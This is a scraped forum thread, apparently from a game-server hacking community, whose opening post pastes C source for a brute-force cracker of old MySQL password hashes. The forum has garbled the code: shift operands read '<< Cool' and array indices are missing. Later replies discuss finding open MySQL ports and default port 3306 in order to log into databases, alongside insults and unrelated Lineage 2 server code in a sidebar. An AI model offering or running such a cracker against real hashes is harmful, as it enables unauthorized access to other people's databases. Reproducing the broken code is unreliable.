Jump to content

Recommended Posts

Posted

there is.

 

Brute:

Tool:

/* This program is public domain. Share and enjoy.

*

* Example:

* $ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast

* $ mysqlfast 6294b50f67eda209

* Hash: 6294b50f67eda209

* Trying length 3

* Trying length 4

* Found pass: barf

*

* The MySQL password hash function could be strengthened considerably

* by:

* - making two passes over the password

* - using a bitwise rotate instead of a left shift

* - causing more arithmetic overflows

*/

 

#include <stdio.h>

 

typedef unsigned long u32;

 

/* Allowable characters in password; 33-126 is printable ascii */

#define MIN_CHAR 33

#define MAX_CHAR 126

 

/* Maximum length of password */

#define MAX_LEN 12

 

#define MASK 0x7fffffffL

 

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)

{

 int i, c;

 u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;

 u32 newstate1, newstate2, newstate3;

 u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];

 u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];

 i = -1;

 sum = 7;

 state1_ary[0] = 1345345333L;

 state2_ary[0] = 0x12345671L;

 

 while (1) {

   while (i < stop) {

     i++;

     pass_ary = MIN_CHAR;

     step_ary = (state1_ary & 0x3f) + sum;

     xor_ary = step_ary*MIN_CHAR + (state1_ary << Cool;

     sum += MIN_CHAR;

     state1_ary[i+1] = state1_ary ^ xor_ary;

     state2_ary[i+1] = state2_ary

       + ((state2_ary << Cool ^ state1_ary[i+1]);

   }

 

   state1 = state1_ary[i+1];

   state2 = state2_ary[i+1];

   step = (state1 & 0x3f) + sum;

   xor1 = step*MIN_CHAR + (state1 << Cool;

   xor2 = (state2 << Cool ^ state1;

 

   for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {

     newstate2 = state2 + (xor1 ^ xor2);

     newstate1 = state1 ^ xor1;

 

     newstate3 = (targ2 - newstate2) ^ (newstate2 << Cool;

     div = (newstate1 & 0x3f) + sum + c;

     diff = ((newstate3 ^ newstate1) - (newstate1 << Cool) & MASK;

     if (diff % div != 0) continue;

     d = diff / div;

     if (d < MIN_CHAR || d > MAX_CHAR) continue;

 

     div = (newstate3 & 0x3f) + sum + c + d;

     diff = ((targ1 ^ newstate3) - (newstate3 << Cool) & MASK;

     if (diff % div != 0) continue;

     e = diff / div;

     if (e < MIN_CHAR || e > MAX_CHAR) continue;

 

     pass_ary[i+1] = c;

     pass_ary[i+2] = d;

     pass_ary[i+3] = e;

     return 1;

   }

 

   while (i >= 0 && pass_ary >= MAX_CHAR) {

     sum -= MAX_CHAR;

     i--;

   }

   if (i < 0) break;

   pass_ary++;

   xor_ary += step_ary;

   sum++;

   state1_ary[i+1] = state1_ary ^ xor_ary;

   state2_ary[i+1] = state2_ary

     + ((state2_ary << Cool ^ state1_ary[i+1]);

 }

 

 return 0;

}

 

void crack(char *hash)

{

 int i, len;

 u32 targ1, targ2, targ3;

 int pass[MAX_LEN];

 

 if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {

   printf("Invalid password hash: %s\n", hash);

   return;

 }

 printf("Hash: %08lx%08lx\n", targ1, targ2);

 targ3 = targ2 - targ1;

 targ3 = targ2 - ((targ3 << Cool ^ targ1);

 targ3 = targ2 - ((targ3 << Cool ^ targ1);

 targ3 = targ2 - ((targ3 << Cool ^ targ1);

 

 for (len = 3; len <= MAX_LEN; len++) {

   printf("Trying length %d\n", len);

   if ( crack0(len-4, targ1, targ3, pass) ) {

     printf("Found pass: ");

     for (i = 0; i < len; i++)

       putchar(pass);

     putchar('\n');

     break;

   }

 }

 if (len > MAX_LEN)

   printf("Pass not found\n");

}

 

int main(int argc, char *argv[])

{

 int i;

 if (argc <= 1)

   printf("usage: %s hash\n", argv[0]);

 for (i = 1; i < argc; i++)

   crack(argv);

 return 0;

}

 

But how to compile it?

 

its look like C/C++, try download pelles and compile it

Posted

Omg guys ... i have asked lot of ppls that know how to do it to explain me a little or help me through PM ... w/e im trying 12 hours now without stop and i didnt made it . .. . nones want to help me .. . :'( :'( :'(

Posted

Lol darkslayer you ask if i can advertive your server in overdose server, and i m doing bullsh1ts? kkthxbb..

 

Vote For Ban ExTrEmEDwarf

YES -> 1029 PPL

NO -> 2 PPL

ok i go ask ban I NEVER ASKED TO ADVERTISE MY SERVER IDIOT
Posted

really? Devc++ is a program to compile... you just say the type of test kkthxbb

 

its logic if code is in C u will use PASCAL to compile it ?

just think sometimes,

Posted

Yes i can see because TheEnd show me by msn... that is why i post it! NOOB go translater before you post your english sux!

I never show it to you .....

 

Posted

I never show it to you .....

 

dont worry he tells same shits for everybody he tell that i told him to advertise my srv in overdose topic wtf he suck balls i asked from nitrous to ban him .. i wait for an answer
Posted

[hide][/hide]

So, if we find an open port, and we know the pass and the username of the connection, will we be able to connect to the Database?

Or we can only connect via Port 3306?

Posted

[hide] 

So, if we find an open port, and we know the pass and the username of the connection, will we be able to connect to the Database?

Or we can only connect via Port 3306?

nO YUO HAVE TO FIND mYSQL port.. Deafaut is 3306

Posted

So, would anyone bother to change the MySQL port?

Most admins keep the default port, right?

yeah.

Guest
This topic is now closed to further replies.



  • Posts

    • what pack you use  send me on discord for it
    • package custom.events.RandomZoneEvent; import java.io.File; import java.util.ArrayList; import java.util.List; import java.util.Random; import java.util.concurrent.ScheduledFuture; import org.w3c.dom.Document; import org.w3c.dom.Node; import org.l2jmobius.commons.threads.ThreadPool; import org.l2jmobius.commons.time.SchedulingPattern; import org.l2jmobius.commons.time.TimeUtil; import org.l2jmobius.commons.util.IXmlReader; import org.l2jmobius.gameserver.managers.ZoneManager; import org.l2jmobius.gameserver.model.StatSet; import org.l2jmobius.gameserver.model.actor.Creature; import org.l2jmobius.gameserver.model.actor.Npc; import org.l2jmobius.gameserver.model.actor.Player; import org.l2jmobius.gameserver.model.quest.Event; import org.l2jmobius.gameserver.model.zone.ZoneId; import org.l2jmobius.gameserver.model.zone.ZoneType; import org.l2jmobius.gameserver.model.zone.type.RandomZone; import org.l2jmobius.gameserver.util.Broadcast; /** * Random Zone Event - Activates one random PvP zone temporarily. No modifica la clase de la zona: usa flags PvP en runtime. * @author Juan */ public class RandomZoneEvent extends Event { private static final String CONFIG_FILE = "data/scripts/custom/events/RandomZoneEvent/config.xml"; private static int EVENT_DURATION_MINUTES = 15; private static boolean _isActive = false; private ScheduledFuture<?> _eventTask = null; private final List<ZoneType> _availableZones = new ArrayList<>(); private ZoneType _activeZone = null; public RandomZoneEvent() { loadConfig(); loadZones(); registerZoneListeners(); } /** * Registra listeners a TODAS LAS ZONAS random */ private void registerZoneListeners() { for (ZoneType zone : _availableZones) { addEnterZoneId(zone.getId()); addExitZoneId(zone.getId()); LOGGER.info("[RandomZoneEvent] Registered listener for zone: " + zone.getName()); } } private void loadConfig() { new IXmlReader() { @Override public void load() { parseDatapackFile(CONFIG_FILE); } @Override public void parseDocument(Document doc, File file) { forEach(doc, "event", eventNode -> { final StatSet att = new StatSet(parseAttributes(eventNode)); final String name = att.getString("name"); for (Node node = eventNode.getFirstChild(); node != null; node = node.getNextSibling()) { if ("schedule".equals(node.getNodeName())) { final StatSet attributes = new StatSet(parseAttributes(node)); final String pattern = attributes.getString("pattern"); final SchedulingPattern schedulingPattern = new SchedulingPattern(pattern); final StatSet params = new StatSet(); params.set("Name", name); params.set("SchedulingPattern", pattern); final long delay = schedulingPattern.getDelayToNextFromNow(); getTimers().addTimer("Schedule_" + name, params, delay + 5000, null, null); LOGGER.info("[RandomZoneEvent] Event " + name + " scheduled at " + TimeUtil.getDateTimeString(System.currentTimeMillis() + delay)); } } }); } }.load(); } private void loadZones() { for (ZoneType zone : ZoneManager.getInstance().getAllZones(RandomZone.class)) { if ((zone.getName() != null) && zone.getName().toLowerCase().startsWith("random_zone")) { _availableZones.add(zone); LOGGER.info("[RandomZoneEvent] Loaded zone: " + zone.getName() + " (id=" + zone.getId() + ")"); } } LOGGER.info("[RandomZoneEvent] Total random zones loaded: " + _availableZones.size()); } @Override public void onTimerEvent(String event, StatSet params, Npc npc, Player player) { if (event.startsWith("Schedule_")) { eventStart(null); final SchedulingPattern schedulingPattern = new SchedulingPattern(params.getString("SchedulingPattern")); final long delay = schedulingPattern.getDelayToNextFromNow(); getTimers().addTimer(event, params, delay + 5000, null, null); LOGGER.info("[RandomZoneEvent] Rescheduled for " + TimeUtil.getDateTimeString(System.currentTimeMillis() + delay)); } } @Override public boolean eventStart(Player eventMaker) { if (_isActive) { if (eventMaker != null) { eventMaker.sendMessage("RandomZoneEvent already active."); } return false; } if (_availableZones.isEmpty()) { Broadcast.toAllOnlinePlayers("[RandomZoneEvent] No zones configured."); return false; } _isActive = true; Broadcast.toAllOnlinePlayers("⚔️ Random Zone Event has started!"); _eventTask = ThreadPool.schedule(this::activateRandomZone, 5_000); return true; } private void activateRandomZone() { _activeZone = _availableZones.get(new Random().nextInt(_availableZones.size())); _activeZone.setEnabled(true); Broadcast.toAllOnlinePlayers("🔥 Random Zone Event: " + _activeZone.getName() + " is now PvP for " + EVENT_DURATION_MINUTES + " minutes!"); _eventTask = ThreadPool.schedule(this::eventStop, EVENT_DURATION_MINUTES * 60 * 1000L); } @Override public boolean eventStop() { if (!_isActive) { return false; } _isActive = false; if (_eventTask != null) { _eventTask.cancel(true); _eventTask = null; } if (_activeZone != null) { _activeZone.setEnabled(false); Broadcast.toAllOnlinePlayers("🏁 Random Zone Event ended. " + _activeZone.getName() + " is back to normal."); _activeZone = null; } else { Broadcast.toAllOnlinePlayers("🏁 Random Zone Event ended."); } return true; } @Override public void onEnterZone(Creature creature, ZoneType zone) { if (!_isActive || (_activeZone == null)) { return; } if ((zone == _activeZone) && creature.isPlayable()) { creature.setInsideZone(ZoneId.PVP, true); if (creature.isPlayer()) { creature.sendMessage("Esta zona está en modo PvP temporalmente."); } } } @Override public void onExitZone(Creature creature, ZoneType zone) { if (!_isActive || (_activeZone == null)) { return; } if ((zone == _activeZone) && creature.isPlayable()) { creature.setInsideZone(ZoneId.PVP, false); if (creature.isPlayer()) { creature.sendMessage("Abandonaste la zona PvP temporal."); } } } @Override public boolean eventBypass(Player player, String bypass) { return true; } @Override public String onEvent(String event, Npc npc, Player player) { return super.onEvent(event, npc, player); } @Override public String onFirstTalk(Npc npc, Player player) { return null; } public static void main(String[] args) { new RandomZoneEvent(); } } i have this but its not working
    • ZonePvPSpawnBossRadio=0 ZonePvPSpawnBossBarakiel=0 at the Customs.ini in L2Server folder. Im prety sure this is it because i had the same problem with you in cruma 1 floor for example and i couldn't fix it but i fixed it finally by changing these 2 lines
    • Siege Reward Start PM Msg Rework Config root BossDieAnnounce and BossDieSound in the L24Team.properties and Config.java files for global raid boss death notifications and sounds. Adds a new reward_list table to the DB.sql file to track castle rewards. Improves character creation logic for thread safety and validation. Adds extensive state checks to the RequestEnchantItem method to prevent enchantments during inappropriate player states. Fixed auto-attack animation bug (there was no attack animation, only damage animation) Clean Code Other fixes I forgot to list! Java 14 Fixed issue where deleting a character would prevent it from leaving the screen or being removed, or even after a delete CD (it would only exit when re-logging in or creating a new character). Added Premium System from the other C2 project (Needs testing and improvement). Added the "Improved" Community Board (incomplete).
  • Topics

×
×
  • Create New...

AdBlock Extension Detected!

Our website is made possible by displaying online advertisements to our members.

Please disable AdBlock browser extension first, to be able to use our community.

I've Disabled AdBlock